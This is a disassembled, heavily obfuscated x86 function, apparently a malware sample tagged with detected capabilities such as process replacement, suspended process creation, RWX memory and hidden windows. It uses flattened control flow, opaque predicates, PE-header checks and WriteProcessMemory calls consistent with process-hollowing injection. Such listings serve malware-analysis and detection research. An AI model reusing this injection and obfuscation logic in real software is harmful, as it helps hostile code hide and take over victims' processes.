Function at 0x10002eb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x180], 0x2247cc3f
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
sub eax, 0x81395fcb
je 0x1000873d
jmp 0x10002eec
mov eax, dword [ebp - 0x184]
sub eax, 0x81fe2b8b
je 0x1000a3fd
jmp 0x10002f02
mov eax, dword [ebp - 0x184]
sub eax, 0x82001eb9
je 0x1000a723
jmp 0x10002f18
mov eax, dword [ebp - 0x184]
sub eax, 0x837f849e
je 0x10009867
jmp 0x10002f2e
mov eax, dword [ebp - 0x184]
sub eax, 0x838a810a
je 0x10009e8d
jmp 0x10002f44
mov eax, dword [ebp - 0x184]
sub eax, 0x83a28992
je 0x1000aa7d
jmp 0x10002f5a
mov eax, dword [ebp - 0x184]
sub eax, 0x841f026a
je 0x10008191
jmp 0x10002f70
mov eax, dword [ebp - 0x184]
sub eax, 0x84f36bd7
je 0x100079b5
jmp 0x10002f86
mov eax, dword [ebp - 0x184]
sub eax, 0x874f6646
je 0x10007e5f
jmp 0x10002f9c
mov eax, dword [ebp - 0x184]
sub eax, 0x8778bd0e
je 0x100091bb
jmp 0x10002fb2
mov eax, dword [ebp - 0x184]
sub eax, 0x87c35fc3
je 0x10009da0
jmp 0x10002fc8
mov eax, dword [ebp - 0x184]
sub eax, 0x8801290e
je 0x1000a4a7
jmp 0x10002fde
mov eax, dword [ebp - 0x184]
sub eax, 0x883c932d
je 0x1000a5fc
jmp 0x10002ff4
mov eax, dword [ebp - 0x184]
sub eax, 0x8963a077
je 0x100081b0
jmp 0x1000300a
mov eax, dword [ebp - 0x184]
sub eax, 0x8ae556f8
je 0x100094fb
jmp 0x10003020
mov eax, dword [ebp - 0x184]
sub eax, 0x8bb6cab9
je 0x10006879
jmp 0x10003036
mov eax, dword [ebp - 0x184]
sub eax, 0x8c32abbc
je 0x10007613
jmp 0x1000304c
mov eax, dword [ebp - 0x184]
sub eax, 0x8c44f3ec
je 0x10007278
jmp 0x10003062
mov eax, dword [ebp - 0x184]
sub eax, 0x8d134e9b
je 0x10006041
jmp 0x10003078
mov eax, dword [ebp - 0x184]
sub eax, 0x8e54f619
je 0x10009783
jmp 0x1000308e
mov eax, dword [ebp - 0x184]
sub eax, 0x8e55e2ac
je 0x10007360
jmp 0x100030a4
mov eax, dword [ebp - 0x184]
sub eax, 0x8fd32dd8
je 0x10007998
jmp 0x100030ba
mov eax, dword [ebp - 0x184]
sub eax, 0x9027a50f
je 0x100062f9
jmp 0x100030d0
mov eax, dword [ebp - 0x184]
sub eax, 0x918cef3e
je 0x10009547
jmp 0x100030e6
mov eax, dword [ebp - 0x184]
sub eax, 0x91f5dfa0
je 0x1000a9ce
jmp 0x100030fc
mov eax, dword [ebp - 0x184]
sub eax, 0x93d4a398
je 0x10005960
jmp 0x10003112
mov eax, dword [ebp - 0x184]
sub eax, 0x93e146ad
je 0x1000784f
jmp 0x10003128
mov eax, dword [ebp - 0x184]
sub eax, 0x96258e78
je 0x100053da
jmp 0x1000313e
mov eax, dword [ebp - 0x184]
sub eax, 0x9631a255
je 0x10005864
jmp 0x10003154
mov eax, dword [ebp - 0x184]
sub eax, 0x96cd18e1
je 0x1000a43b
jmp 0x1000316a
mov eax, dword [ebp - 0x184]
sub eax, 0x97e8a7f8
je 0x10009443
jmp 0x10003180
mov eax, dword [ebp - 0x184]
sub eax, 0x97efa30e
je 0x1000866e
jmp 0x10003196
mov eax, dword [ebp - 0x184]
sub eax, 0x98250aed
je 0x100059da
jmp 0x100031ac
mov eax, dword [ebp - 0x184]
sub eax, 0x996b49b6
je 0x100083fc
jmp 0x100031c2
mov eax, dword [ebp - 0x184]
sub eax, 0x9a7af9cc
je 0x1000a166
jmp 0x100031d8
mov eax, dword [ebp - 0x184]
sub eax, 0x9bb86594
je 0x100066da
jmp 0x100031ee
mov eax, dword [ebp - 0x184]
sub eax, 0x9c4811f0
je 0x100058ca
jmp 0x10003204
mov eax, dword [ebp - 0x184]
sub eax, 0x9d6884c8
je 0x1000739e
jmp 0x1000321a
mov eax, dword [ebp - 0x184]
sub eax, 0x9e2d201c
je 0x1000796a
jmp 0x10003230
mov eax, dword [ebp - 0x184]
sub eax, 0x9e5ff7c1
je 0x10009f63
jmp 0x10003246
mov eax, dword [ebp - 0x184]
sub eax, 0x9f278415
je 0x1000a542
jmp 0x1000325c
mov eax, dword [ebp - 0x184]
sub eax, 0xa033c477
je 0x10007d8a
jmp 0x10003272
mov eax, dword [ebp - 0x184]
sub eax, 0xa0360cca
je 0x10008c79
jmp 0x10003288
mov eax, dword [ebp - 0x184]
sub eax, 0xa08944f7
je 0x10007c70
jmp 0x1000329e
mov eax, dword [ebp - 0x184]
sub eax, 0xa0c6b26e
je 0x10007be1
jmp 0x100032b4
mov eax, dword [ebp - 0x184]
sub eax, 0xa0eb0733
je 0x10007e23
jmp 0x100032ca
mov eax, dword [ebp - 0x184]
sub eax, 0xa254c714
je 0x10005dfe
jmp 0x100032e0
mov eax, dword [ebp - 0x184]
sub eax, 0xa26014db
je 0x100067c0
jmp 0x100032f6
mov eax, dword [ebp - 0x184]
sub eax, 0xa3bb82bc
je 0x10008886
jmp 0x1000330c
mov eax, dword [ebp - 0x184]
sub eax, 0xa3ce9519
je 0x100085fe
jmp 0x10003322
mov eax, dword [ebp - 0x184]
sub eax, 0xa3dab571
je 0x100082a5
jmp 0x10003338
mov eax, dword [ebp - 0x184]
sub eax, 0xa5075fa2
je 0x1000672b
jmp 0x1000334e
mov eax, dword [ebp - 0x184]
sub eax, 0xa5456aaa
je 0x10009d7b
jmp 0x10003364
mov eax, dword [ebp - 0x184]
sub eax, 0xa59db723
je 0x100069ba
jmp 0x1000337a
mov eax, dword [ebp - 0x184]
sub eax, 0xa5d79f38
je 0x10006fca
jmp 0x10003390
mov eax, dword [ebp - 0x184]
sub eax, 0xa63f8813
je 0x10007767
jmp 0x100033a6
mov eax, dword [ebp - 0x184]
sub eax, 0xa6a75906
je 0x1000a41c
jmp 0x100033bc
mov eax, dword [ebp - 0x184]
sub eax, 0xa6ce3e86
je 0x10009c70
jmp 0x100033d2
mov eax, dword [ebp - 0x184]
sub eax, 0xa6f1c565
je 0x100068c5
jmp 0x100033e8
mov eax, dword [ebp - 0x184]
sub eax, 0xa71d794f
je 0x100086b7
jmp 0x100033fe
mov eax, dword [ebp - 0x184]
sub eax, 0xa732f19b
je 0x10007f45
jmp 0x10003414
mov eax, dword [ebp - 0x184]
sub eax, 0xa7dd0d18
je 0x10006c3c
jmp 0x1000342a
mov eax, dword [ebp - 0x184]
sub eax, 0xa9124416
je 0x10008c58
jmp 0x10003440
mov eax, dword [ebp - 0x184]
sub eax, 0xa979018b
je 0x1000a29b
jmp 0x10003456
mov eax, dword [ebp - 0x184]
sub eax, 0xa9e61d13
je 0x10009670
movss xmm0, dword [0x10017394]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10017390]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x180], 0xb0d27899
jmp 0x1000aa87
mov dl, 1
mov eax, 0x3a0e2715
mov ecx, 0xd6a1c430
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x10017210]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x1001720c]
movss dword [ebp - 0x144], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xa282761e
sub edx, 1
add edx, 0xa282761e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2b2842a4
mov ecx, 0x93d4a398
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dword [ebp - 0x180], 0xeeded75
jmp 0x1000aa87
movss xmm0, dword [0x10017374]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x180], 0x213abbde
jmp 0x1000aa87
movss xmm0, dword [0x10017354]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x180], 0x3ad47dfd
jmp 0x1000aa87
movss xmm0, dword [0x10017200]
movss dword [ebp - 0x14c], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xbbf0b955
sub edx, 1
add edx, 0xbbf0b955
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc17fbd4e
mov ecx, 0x6085e275
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x22ed453d
sub edx, 1
sub edx, 0x22ed453d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1eb5a519
mov ecx, 0xae858de2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x94760e8b
sub edx, 1
sub edx, 0x94760e8b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81fe2b8b
mov ecx, 0xa5075fa2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x100171f4]
movss dword [ebp - 0x14c], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x19ea58e7
sub edx, 1
add edx, 0x19ea58e7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81fe2b8b
mov ecx, 0x6a9b599
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x1001731c]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x180], 0xc36429e8
jmp 0x1000aa87
mov dl, 1
mov eax, 0x23439c4
mov ecx, 0xd80d8a2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x23439c4
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x70018562
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x12ffc872
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xfa611849
sub edx, 1
add edx, 0xfa611849
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbea1fbed
mov ecx, 0x208bc019
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xc19de9e2
sub edx, 1
sub edx, 0xc19de9e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3f08694
mov ecx, 0x1c15476b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x100172b0]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x180], 0x39a85bbb
jmp 0x1000aa87
movss xmm0, dword [0x100172a8]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x180], 0x608fe464
jmp 0x1000aa87
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xff0024f0
sub edx, 1
sub edx, 0xff0024f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6b65216
mov ecx, 0x3ed4fb90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x30ba03c0
sub edx, 1
add edx, 0x30ba03c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e62ce81
mov ecx, 0x41283ef6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xfb1aaeb
sub edx, 1
sub edx, 0xfb1aaeb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd3297cdb
mov ecx, 0x52ea77ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x60e8cb33
jmp 0x1000aa87
mov dl, 1
mov eax, 0x702cb4de
mov ecx, 0x84f36bd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x10017280]
movss dword [ebp - 0x158], xmm0
movss xmm0, dword [0x1001727c]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x180], 0x401da818
jmp 0x1000aa87
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x15c], xmm0
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x15c], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xb0ee708e
sub edx, 1
add edx, 0xb0ee708e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7039eb6f
mov ecx, 0xee4d4c43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x57f9c316
sub edx, 1
sub edx, 0x57f9c316
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x883c932d
mov ecx, 0x6db8943c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x1001725c]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x180], 0xfe8382ec
jmp 0x1000aa87
movss xmm0, dword [0x1001724c]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x180], 0xb95c30e5
jmp 0x1000aa87
movss xmm0, dword [0x10017248]
movss dword [ebp - 0x15c], xmm0
movss xmm0, dword [0x10017244]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x180], 0x110f22df
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x249662e8
jmp 0x1000aa87
movss xmm0, dword [0x10017238]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x180], 0x8963a077
jmp 0x1000aa87
mov dl, 1
mov eax, 0xa3dab571
mov ecx, 0xf7718ea1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x10017230]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x180], 0xbee0d960
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x1f64cbf2
jmp 0x1000aa87
movss xmm0, dword [0x10017194]
movss dword [ebp - 0x160], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xad0108e
sub edx, 1
add edx, 0xad0108e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1622fe6
mov ecx, 0xd21129cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe6391dd5
mov ecx, 0xa71d794f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x160], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xb9479112
sub edx, 1
sub edx, 0xb9479112
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6391dd5
mov ecx, 0x81395fcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x326250
jmp 0x1000aa87
mov edx, dword [ebp - 0x108]
mov eax, 0xc44c7e72
mov ecx, 0x13270edc
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dl, byte [ebp - 0xf5]
mov eax, 0x2b820467
mov ecx, 0xa0360cca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x8674d459
sub edx, 1
sub edx, 0x8674d459
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18633c9b
mov ecx, 0x27733089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x170]
mov ax, word [eax + 6]
mov word [ebp - 0xd6], ax
mov dword [ebp - 0x180], 0x12253c4b
jmp 0x1000aa87
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xc0]
mov eax, 0x8ae556f8
mov ecx, 0x65f09ee0
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov dword [ebp - 0x180], 0xfc27d6dc
jmp 0x1000aa87
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xae5dbe84
sub edx, 1
sub edx, 0xae5dbe84
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf571445
mov ecx, 0xc5c715d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x180], 0x5a9a8079
jmp 0x1000aa87
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x180], 0xd917079f
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8c8b9c4
mov ecx, 0xfb5f2061
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x180], 0x87c35fc3
jmp 0x1000aa87
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xa6525ee0
sub edx, 1
add edx, 0xa6525ee0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0c1bbb
mov ecx, 0x3f12c558
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xec3a7c42
sub edx, 1
sub edx, 0xec3a7c42
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x737e7d10
mov ecx, 0x24355c60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aa87
mov ecx, dword [ebp - 0x17c]
sub ecx, 0xb03754e5
add ecx, 8
add ecx, 0xb03754e5
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x170]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x180], 0xc5ce31dc
jmp 0x1000aa87
mov dword [ebp - 0x180], 0xc7f29c9b
jmp 0x1000aa87
movss xmm0, dword [0x10017218]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10017214]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x180], 0x7d5b9d18
jmp 0x1000aa87
movss xmm0, dword [0x100171f4]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x180], 0xa5075fa2
jmp 0x1000aa87
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x180], 0x2f89f48
jmp 0x1000aa87
mov dword [ebp - 0x180], 0x7fadd5e1
jmp 0x1000aa87
mov dword [ebp - 0x180], 0xc61456a1
jmp 0x1000aa87
movss xmm0, dword [0x100171cc]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x180], 0xc9b4ce7c
jmp 0x1000aa87
movss xmm0, dword [0x100171b4]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x180], 0x6db8943c
jmp 0x1000aa87
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4a800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x180], 0xbbc273a8
jmp 0x1000aa87
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x7c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x180], 0x774d55d6
jmp 0x1000aa87
mov dword [ebp - 0x180], 0xb9cb0472
jmp 0x10002ed0